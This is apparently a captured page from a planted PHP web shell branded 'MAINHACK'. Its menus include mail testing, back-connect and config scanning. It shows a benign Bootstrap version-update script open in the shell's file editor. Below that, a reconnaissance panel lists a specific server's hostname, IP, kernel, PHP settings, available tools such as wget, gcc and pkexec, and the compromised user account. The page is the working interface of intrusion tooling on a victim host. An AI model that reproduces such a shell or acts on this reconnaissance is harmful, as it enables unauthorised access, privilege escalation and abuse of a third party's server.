[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: change-version.js
#!/usr/bin/env node 'use strict' /*! * Script to update version number references in the project. * Copyright 2017 The Bootstrap Authors * Copyright 2017 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ /* global Set */ const fs = require('fs') const path = require('path') const sh = require('shelljs') sh.config.fatal = true const sed = sh.sed // Blame TC39... https://github.com/benjamingr/RegExp.escape/issues/37 RegExp.quote = (string) => string.replace(/[-\\^$*+?.()|[\]{}]/g, '\\$&') RegExp.quoteReplacement = (string) => string.replace(/[$]/g, '$$') const DRY_RUN = false function walkAsync(directory, excludedDirectories, fileCallback, errback) { if (excludedDirectories.has(path.parse(directory).base)) { return } fs.readdir(directory, (err, names) => { if (err) { errback(err) return } names.forEach((name) => { const filepath = path.join(directory, name) fs.lstat(filepath, (err, stats) => { if (err) { process.nextTick(errback, err) return } if (stats.isSymbolicLink()) { return } else if (stats.isDirectory()) { process.nextTick(walkAsync, filepath, excludedDirectories, fileCallback, errback) } else if (stats.isFile()) { process.nextTick(fileCallback, filepath) } }) }) }) } function replaceRecursively(directory, excludedDirectories, allowedExtensions, original, replacement) { original = new RegExp(RegExp.quote(original), 'g') replacement = RegExp.quoteReplacement(replacement) const updateFile = !DRY_RUN ? (filepath) => { if (allowedExtensions.has(path.parse(filepath).ext)) { sed('-i', original, replacement, filepath) } } : (filepath) => { if (allowedExtensions.has(path.parse(filepath).ext)) { console.log(`FILE: ${filepath}`) } else { console.log(`EXCLUDED:${filepath}`) } } walkAsync(directory, excludedDirectories, updateFile, (err) => { console.error('ERROR while traversing directory!:') console.error(err) process.exit(1) }) } function main(args) { if (args.length !== 2) { console.error('USAGE: change-version old_version new_version') console.error('Got arguments:', args) process.exit(1) } const oldVersion = args[0] const newVersion = args[1] const EXCLUDED_DIRS = new Set([ '.git', 'node_modules', 'vendor' ]) const INCLUDED_EXTENSIONS = new Set([ // This extension whitelist is how we avoid modifying binary files '', '.css', '.html', '.js', '.json', '.md', '.scss', '.txt', '.yml' ]) replaceRecursively('.', EXCLUDED_DIRS, INCLUDED_EXTENSIONS, oldVersion, newVersion) } main(process.argv.slice(2))
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002